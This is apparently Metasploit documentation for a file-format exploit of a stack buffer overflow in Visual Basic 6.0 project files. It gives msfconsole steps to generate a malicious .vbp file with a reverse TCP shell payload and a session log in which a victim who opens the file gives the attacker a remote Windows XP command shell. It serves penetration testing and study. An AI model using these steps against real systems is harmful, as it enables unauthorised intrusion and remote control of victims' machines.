## Vulnerable Application

This module exploits a stack buffer overflow in Microsoft Visual Basic
6.0. A specially crafted Visual Basic Project (VBP) file containing
a long reference line can be used to execute arbitrary code.

This module has been tested successfully on:

* Windows XP Home SP0 (x86) (English)
* Windows XP Professional SP0 (x86) (English)
* Windows XP Professional SP1 (x86-64) (English)
* Windows XP Professional SP2 (x86-64) (English)
* Windows XP Professional SP3 (x86) (English)

## Verification Steps

1. Start msfconsole
1. Do: `use exploit/windows/fileformat/ms_visual_basic_vbp`
1. Do: `set filename [filename.vbp]`
1. Do: `set lhost [lhost]`
1. Do: `set lport [lport]`
1. Do: `set payload windows/shell/reverse_tcp`
1. Do: `run`
1. Do: `use exploit/multi/handler`
1. Do: `set lhost [lhost]`
1. Do: `set lport [lport]`
1. Do: `set payload windows/shell/reverse_tcp`
1. Do: `run -jz`
1. Open `/home/user/.msf4/local/msf.vbp` on a vulnerable system

## Options

### FILENAME

The project file name. (Default: `msf.vbp`).

## Scenarios

### Windows XP SP3 (x86) (English)

```
msf > use exploit/windows/fileformat/ms_visual_basic_vbp
[*] Using configured payload windows/shell/reverse_tcp
msf exploit(windows/fileformat/ms_visual_basic_vbp) > set lhost 192.168.200.130 
lhost => 192.168.200.130
msf exploit(windows/fileformat/ms_visual_basic_vbp) > show targets

Exploit targets:
=================

    Id  Name
    --  ----
=>  0   Windows XP SP0-SP3 (x86) (English)
    1   Windows XP SP1-SP2 (x86-64) (English)


msf exploit(windows/fileformat/ms_visual_basic_vbp) > run
[*] Creating 'msf.vbp' file for Windows XP SP0-SP3 (x86) (English) ...
[+] msf.vbp stored at /home/user/.msf4/local/msf.vbp
msf exploit(windows/fileformat/ms_visual_basic_vbp) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf exploit(multi/handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(multi/handler) > run -jz
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.200.130:4444 
msf exploit(multi/handler) > mv /home/user/.msf4/local/msf.vbp /var/www/html/msf.vbp
[*] exec: mv /home/user/.msf4/local/msf.vbp /var/www/html/msf.vbp

msf exploit(multi/handler) > 
[*] Sending stage (240 bytes) to 192.168.200.173
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.173:1037) at 2025-06-21 08:03:44 -0400

msf exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...


Shell Banner:
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>
```
